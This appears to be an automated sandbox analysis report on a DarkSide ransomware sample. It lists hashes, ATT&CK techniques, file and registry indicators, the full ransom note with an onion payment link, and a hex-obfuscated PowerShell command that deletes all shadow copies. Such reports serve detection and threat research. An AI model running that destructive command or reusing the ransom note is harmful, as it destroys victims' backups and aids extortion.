darkside | 2c7d10f64dc39ea9bd6f18d9d1e1204f0c62324e8da148354d557bba17e3c615

General

Target

mal.exe
Size

512KB
MD5

650d18a78f30302a1e10f664a0d2cb0a
SHA1

c318776aefbd0156de1e6f7bba216d87e27c6341
SHA256

2c7d10f64dc39ea9bd6f18d9d1e1204f0c62324e8da148354d557bba17e3c615
SHA512

cb209a8c381e99c8adf49a2ea1caa0732da0ad5891b7b244dcf8540d677a03b7e912b4e121c25440a5bbf855a112b8c0061f0974922154c6bdf11eb176bd3c57

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\\README.82ee2099.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/GM0CG8TNZ83ZPUD15TL76BLDCG0ST24TR6NXG1J2AVXSKF8KS4KFIIN2ON5GRWD4 When you open our website, put the following data in the input form: Key: lsJTyyTnzJlGQ1I6sfwV6oVcXaRynwN6mWphA7BKXEDIHJcDlhNNHsrxlkpggRChK2nQ7wP0sknJvl37lbqElTopkUywK3QnfJFmqDBSCmFISeWSudjgwxB4kKSp7h4VySHeu4LmDiZXTAh1dbZHWxTtZ0bA6PhCoDrbGkctY4rucITW4IdYUZJC8d2B7SFnr5EA7EoRkajrZW54brM5Kgwqsz67qzH6Hk0Vr3EDcnGzNjGQBapJczIWkgPtMCJdTkeemQ34XH7wawXu3eOGV3uJlBZNoSuaxtDHMGApS8EWsUXhafMW8WxFLAPLCo6pdm7MLcLsVDp9iBXU1sLv2KkGyUJbO0KOmom9f1JREuidviHRfsndEgMFBAjyq5v4VEIraiioAbtWM7eecYaXPVt3rolsBi8mtjxLOpFj73NPPitoIDxBNfHGzXxvRTXi06Pjx9pRnAtjIqoq5wovnHa8uBel8nq8yDJTk7NWdGdsv3yVwV2TmBin7OvFqHN9lweFNJyuziKCVGEtSaglUNudMmpFnNObGlhfh58jQsrQiQZ2d3AOFsi !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/GM0CG8TNZ83ZPUD15TL76BLDCG0ST24TR6NXG1J2AVXSKF8KS4KFIIN2ON5GRWD4

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside

Modifies extensions of user files 15 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

mal.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\LimitGrant.crw => C:\Users\Admin\Pictures\LimitGrant.crw.82ee2099	mal.exe
File opened for modification	C:\Users\Admin\Pictures\UseCompare.png.82ee2099	mal.exe
File opened for modification	C:\Users\Admin\Pictures\ExitResume.raw.82ee2099	mal.exe
File opened for modification	C:\Users\Admin\Pictures\RegisterSwitch.crw.82ee2099	mal.exe
File renamed	C:\Users\Admin\Pictures\UseCompare.png => C:\Users\Admin\Pictures\UseCompare.png.82ee2099	mal.exe
File renamed	C:\Users\Admin\Pictures\AssertRedo.raw => C:\Users\Admin\Pictures\AssertRedo.raw.82ee2099	mal.exe
File renamed	C:\Users\Admin\Pictures\BlockMount.tiff => C:\Users\Admin\Pictures\BlockMount.tiff.82ee2099	mal.exe
File renamed	C:\Users\Admin\Pictures\ExitResume.raw => C:\Users\Admin\Pictures\ExitResume.raw.82ee2099	mal.exe
File renamed	C:\Users\Admin\Pictures\ConvertFromInvoke.png => C:\Users\Admin\Pictures\ConvertFromInvoke.png.82ee2099	mal.exe
File opened for modification	C:\Users\Admin\Pictures\ConvertFromInvoke.png.82ee2099	mal.exe
File opened for modification	C:\Users\Admin\Pictures\LimitGrant.crw.82ee2099	mal.exe
File renamed	C:\Users\Admin\Pictures\RegisterSwitch.crw => C:\Users\Admin\Pictures\RegisterSwitch.crw.82ee2099	mal.exe
File opened for modification	C:\Users\Admin\Pictures\AssertRedo.raw.82ee2099	mal.exe
File opened for modification	C:\Users\Admin\Pictures\BlockMount.tiff	mal.exe
File opened for modification	C:\Users\Admin\Pictures\BlockMount.tiff.82ee2099	mal.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

mal.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\82ee2099.BMP"	mal.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\82ee2099.BMP"	mal.exe

Modifies Control Panel 1 IoCs
evasion

Processes:

mal.exe

description ioc process

Set value (str) \REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000\Control Panel\Desktop\WallpaperStyle = "10" mal.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000\Control Panel\Desktop\WallpaperStyle = "10"	mal.exe

Modifies registry class 5 IoCs

Processes:

mal.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.82ee2099	mal.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.82ee2099\ = "82ee2099"	mal.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\82ee2099\DefaultIcon	mal.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\82ee2099	mal.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\82ee2099\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\82ee2099.ico"	mal.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exemal.exe

pid process

3732 powershell.exe
3732 powershell.exe
3732 powershell.exe
2812 mal.exe
2812 mal.exe

pid	process
3732	powershell.exe
3732	powershell.exe
3732	powershell.exe
2812	mal.exe
2812	mal.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

Processes:

mal.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	2812	mal.exe
Token: SeSecurityPrivilege	2812	mal.exe
Token: SeTakeOwnershipPrivilege	2812	mal.exe
Token: SeLoadDriverPrivilege	2812	mal.exe
Token: SeSystemProfilePrivilege	2812	mal.exe
Token: SeSystemtimePrivilege	2812	mal.exe
Token: SeProfSingleProcessPrivilege	2812	mal.exe
Token: SeIncBasePriorityPrivilege	2812	mal.exe
Token: SeCreatePagefilePrivilege	2812	mal.exe
Token: SeBackupPrivilege	2812	mal.exe
Token: SeRestorePrivilege	2812	mal.exe
Token: SeShutdownPrivilege	2812	mal.exe
Token: SeDebugPrivilege	2812	mal.exe
Token: SeSystemEnvironmentPrivilege	2812	mal.exe
Token: SeRemoteShutdownPrivilege	2812	mal.exe
Token: SeUndockPrivilege	2812	mal.exe
Token: SeManageVolumePrivilege	2812	mal.exe
Token: 33	2812	mal.exe
Token: 34	2812	mal.exe
Token: 35	2812	mal.exe
Token: 36	2812	mal.exe
Token: SeDebugPrivilege	3732	powershell.exe
Token: SeBackupPrivilege	368	vssvc.exe
Token: SeRestorePrivilege	368	vssvc.exe
Token: SeAuditPrivilege	368	vssvc.exe

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

mal.exe

description	pid	process	target process
PID 2812 wrote to memory of 3732	2812	mal.exe	powershell.exe
PID 2812 wrote to memory of 3732	2812	mal.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\mal.exe
"C:\Users\Admin\AppData\Local\Temp\mal.exe"
1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2812

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3732

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:368

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

1

T1081

Discovery

Lateral Movement

Collection

Data from Local System

1

T1005

Exfiltration

Command and Control

Impact

Defacement

1

T1491

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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
MD5
ea6243fdb2bfcca2211884b0a21a0afc

SHA1
2eee5232ca6acc33c3e7de03900e890f4adf0f2f

SHA256
5bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8

SHA512
189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
5dc1c5e5f49d8a67a608b1f715ace841

SHA1
812f23c3fce094196e514f140702f69ba13aab1f

SHA256
d4df86e848e8eece19d9ec956704e488fe47de1df1a9d74dc2eba39ffdb39214

SHA512
ec232e6585f4c420076b634f8683dc0de1eaa29847efc398697f47313b1523d0f311d5dd35bb27e79e10ac807ccb5bdff220a66c35aaae82f3e4b13e517a5273

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memory/2812-115-0x0000000000400000-0x000000000083B000-memory.dmp

Filesize
4.2MB

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memory/2812-117-0x0000000000030000-0x0000000000040000-memory.dmp

Filesize
64KB

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memory/2812-118-0x0000000000400000-0x000000000083B000-memory.dmp

Filesize
4.2MB

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memory/3732-123-0x0000026698470000-0x0000026698492000-memory.dmp

Filesize
136KB

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memory/3732-127-0x0000026698460000-0x0000026698462000-memory.dmp

Filesize
8KB

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memory/3732-128-0x0000026698463000-0x0000026698465000-memory.dmp

Filesize
8KB

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memory/3732-129-0x0000026698750000-0x00000266987C6000-memory.dmp

Filesize
472KB

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memory/3732-141-0x0000026698466000-0x0000026698468000-memory.dmp

Filesize
8KB

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Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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